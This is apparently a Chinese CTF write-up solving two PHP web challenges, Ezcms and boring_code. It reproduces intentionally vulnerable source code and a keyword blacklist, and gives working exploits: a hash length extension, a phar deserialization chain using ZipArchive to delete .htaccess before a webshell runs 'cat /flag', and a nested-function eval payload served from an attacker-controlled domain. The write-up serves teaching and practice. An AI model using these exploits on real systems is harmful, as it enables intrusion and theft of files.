目前只找到这三道题的环境,babyblog对我来说有点困难了,先将就看这两道吧

Ezcms

这个题有源码泄露,网站根目录下存在www.zip,先来看代码

// index.php
<?php
error_reporting(0);
include('config.php');
if (isset($_POST['username']) && isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $username = urldecode($username);
    $password = urldecode($password);
    if ($password === "admin"){
        die("u r not admin !!!");
    }
    $_SESSION['username'] = $username;
    $_SESSION['password'] = $password;

    if (login()){
        echo '<script>location.href="upload.php";</script>';
    }
}
// upload.php
<?php
include ("config.php");
if (isset($_FILES['file'])){
    $file_tmp = $_FILES['file']['tmp_name'];
    $file_name = $_FILES['file']['name'];
    $file_size = $_FILES['file']['size'];
    $file_error = $_FILES['file']['error'];
    if ($file_error > 0){
        die("something error");
    }
    $admin = new Admin($file_name, $file_tmp, $file_size);
    $admin->upload_file();
}else{
    $sandbox = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
    if (!file_exists($sandbox)){
        mkdir($sandbox, 0777, true);
    }
    if (!is_file($sandbox.'/.htaccess')){
        file_put_contents($sandbox.'/.htaccess', 'lolololol, i control all');
    }
    echo "view my file : "."<br>";
    $path = "./".$sandbox;
    $dir = opendir($path);
    while (($filename = readdir($dir)) !== false){
        if ($filename != '.' && $filename != '..'){
            $files[] = $filename;
        }
    }
    foreach ($files as $k=>$v){
        $filepath = $path.'/'.$v;
        echo <<<EOF
        <div style="width: 1000px; height: 30px;">
        <Ariel>filename: {$v}</Ariel>
        <a href="view.php?filename={$v}&filepath={$filepath}">view detail</a>
</div>
EOF;
    }
    closedir($dir);

}
// view.php
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
// config.php
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;
        $this->content_check = new Check($this->file_tmp);
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp);
        if ($this->size > 204800){
            die("your file is too big");
        }
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

看一下这几个逻辑:

// index.php
if ($password === "admin"){
        die("u r not admin !!!");
    }

// config.php

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

很明显的hash扩展长度攻击,利用hashpump生成payload

Alt text

然后用对应的password和cookie就可以上传文件了。因为过滤了文件内容中assert()等函数,我一开始思路是传上去特殊的一句话来getshell,但是发现上传后执行是500

看到目录里还有一个.htaccess,猜测应该是apache配置出了问题,想看看能不能传到别的目录,但是审计几次后发现应该不行

这个题有一点是利用view.php可以得到flag在/flag

之后和师傅讨论了一下,准备利用phar反序列化来做,但是下来自己思路就有点受阻了

这里参考下W&M的师傅们的思路,上传phar去删除.htaccess,这样就可以执行我们的一句话了

首先生成phar文件:

<?php

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)

    {
        $this->filepath = $filepath;

        $this->filename = $filename;
    }

}

class Profile{

    public $username;
    public $password;
    public $admin;

}

$a = new File("altman","altman");
$a->checker = new Profile();
$a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";
$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$a->checker->admin = new ZipArchive();
echo serialize($a);

$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

?>

从之前的源码我们可以看到这样一句:

// config.php
// class Profile
function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }

此处调用了admin的open()方法,而且admin是我们可控的,因此我们找找看php中拥有open()方法的内置类有没有可利用的

看过手册后发现ZipArchive类的open方法可以利用,我们看一下定义:

Alt text

对应上面生成phar文件的exp来看:

$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;

再看一下ZipArchive::OVERWRITE的定义:

Alt text

这个选项我在本地测试对一个txt文件操作时会删除该文件(Linux下可以,win下不行)

因此该exp就是要反序列化后利用ZipArchive类来删除.htaccess文件

先上传一个能够绕过检测的一句话,然后再上传phar文件

由于在view.php中读取文件时把phar开头也给过滤掉了,因此我们使用php伪协议filter来读

payload:view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/6683eb5bfa1174bd139499256f60b7ab/dd7ec931179c4dcb6a8ffb8b8786d20b.txt

然后再访问之前上传的一句话,传入a=cat /flag即可

Alt text

boring_code

打开题目界面是一张图片,右键查看源码发现提示注释:

<!-- flag 就在这个文件里面 -->
<!-- /code -->

也就是说flag就在index.php中,我们再访问/code,发现源码:

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

我们看到问题肯定就出在eval($code);这一句,然后我们再来看$code经过怎样的逻辑处理

首先用户传入的url经过is_valid_url()函数的检测,然后由parse_url()处理后赋值给$r,下来验证$r['host']的值是不是以baidu.com结尾,如果是的话就把file_get_contents($url)的值赋值给$code

当时我在本地测试了一下经过parse_url()处理的结果,发现从代码层这里应该是无法绕过的,而且本来可以利用的data协议也被过滤掉了

后来才知道很多师傅竟然是买的域名来打的。。大气!!

因为flag是在../index.php中,所以肯定要想办法读到index.php,然后看这两行代码:

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {

首先看这一句正则,我们本地测试一下

<?php
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $_GET['data'])) {
	echo 'success';
}
?>

Alt text

只有xxx(xx());这种形式的可以(注意最里面那个括号里不能有内容),接下来的正则过滤了很多函数,看来我们要寻找函数组合起来读到../index.php

首先要先构造出..,那么我们可以先找到一个能返回.的函数,然后利用scandir()来返回一个数组,通常这个数组的第二个元素会是..,因此next(scandir(.))即可返回取出..。然后再用chdir()来切换目录

php的localeconv()函数可以返回一个数组,第一个元素就是.,因此我们考虑使用current(localeconv()),但是正则过滤了nt,那么可以用current()的别名pos()

暂时推出的切换到上级目录的payload是:chdir(next(scandir(pos(localeconv())))),但是chdir()的返回值是布尔值,我们可以用time()函数来接收布尔值,不会影响返回时间戳。(注意如果php执行到chdir(..)时,我们就已经修改当前目录为上一级了,因此在之后读取.就是index.php所在目录了)

然后我们可以利用localtime(time())来返回一个当前时间的数组,该数组的第一个元素是当前时间的秒数

我们要知道chr(46)的返回值是.,因此利用chr(localtime(time())),若当前时间为每分46秒时,即可返回.

之后我们再利用scandir()读取当前目录,应该只有一个index.php,因此再用end()来获取index.php,最后使用readfile(),并echo()出返回值

最终payload:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))))

然后就需要在买的域名下放这样一个内容的文件:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

我在本地测试就不买域名了(其实是买不起),于是我修改了一下docker环境的/etc/hosts,将域名www.testbaidu.com解析到我的本机ip上,然后在本机phpstudy中放有内容是payload的1.txt

Alt text

然后拿burp去爆破,当前时间秒数为46时就会有flag

Alt text